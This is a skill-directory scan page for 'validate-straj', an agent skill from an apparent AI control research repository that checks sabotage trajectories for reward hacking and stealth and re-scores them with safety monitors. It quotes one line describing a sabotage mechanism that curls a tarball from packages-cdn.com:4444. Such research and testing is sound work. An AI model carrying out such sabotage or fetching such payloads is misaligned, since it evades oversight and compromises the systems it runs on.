validate-straj

92 / 100 · Low risk

Fine to try.

By linuxarena/control-tower (GitHub) · other · 46 stars · scanned at commit d868d24

Validate a sabotage trajectory (straj) end-to-end before trusting it as a keeper. Reconstructs the attack mechanism, checks for blatant reward-hacking and for unearned stealth (an environment flaw that made the side task trivially easy and low-suspicion), replays the side-task scorer in a fresh sandbox, and re-scores the replay with the `simple` (action) + `trajectory` (traj) monitors on opus-4-8 and gemini-3.1-pro (scored once per model, escalating a flagged monitor to a majority of 3). Use wh…

Works with any agent that supports SKILL.md skills.

What this skill can do

Sends data to these websites: packages-cdn.com

This is disclosed by the author in the skill's SKILL.md or README.

Found in 1 place.

.agents/skills/validate-straj/REFERENCE.md, line 108- **Stage 1 (mechanism):** one `curl http://packages-cdn.com:4444/prometheus-… .tar.gz` (load-bearing), with `getent hosts packages-cdn.com` as its dependency,

Runs commands on your computer

The author does not mention this.

Found in 5 places.

.agents/skills/validate-straj/SKILL.md, line 24uv run python - <run>.eval <eval_sample_id> <epoch> logs/straj_validation/<slug>/straj.eval <<'EOF'
.agents/skills/validate-straj/SKILL.md, line 72ct run eval --from-run <straj>.eval --policy replay \
.agents/skills/validate-straj/SKILL.md, line 78uv run python - logs/straj_validation/<slug>/replay/<replay>.eval <eval_sample_id> <epoch> <<'EOF'

Show 2 more

.agents/skills/validate-straj/SKILL.md, line 102OPUS='trusted={"model": "opus_4_8", "cache": false}'
.agents/skills/validate-straj/SKILL.md, line 114uv run inspect log dump <copy> | jq '.samples[].scores | with_entries(select(.key | test("^monitor[0-9]*$"))) | map_values(.value)'

Install

Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.

if [ -e ~/.agents/skills/'validate-straj' ] || [ -L ~/.agents/skills/'validate-straj' ]; then echo 'A skill folder named validate-straj already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/linuxarena/control-tower' "$d" && git -C "$d" checkout --quiet 'd868d248ad92e8a1c0b1bbb7f569194cda61c328' -- '.agents/skills/validate-straj' && mkdir -p ~/.agents/skills && cp -R "$d"/'.agents/skills/validate-straj' ~/.agents/skills/'validate-straj' && rm -rf "$d"; fi

Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'validate-straj' ~/.claude/skills/'validate-straj' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.

Badge for your README

The badge for linuxarena/control-tower shows the score of its lowest-scoring skill.

SkillTrust badge for linuxarena/control-tower

[![SkillTrust](https://zalavijaysinh.github.io/skilltrust/badges/linuxarena/control-tower.svg)](https://zalavijaysinh.github.io/skilltrust/repos/linuxarena/control-tower/)

Score history

Date	Version	Score
2026-11-13	`d868d24`	92
2026-11-09	`6c9db1c`	92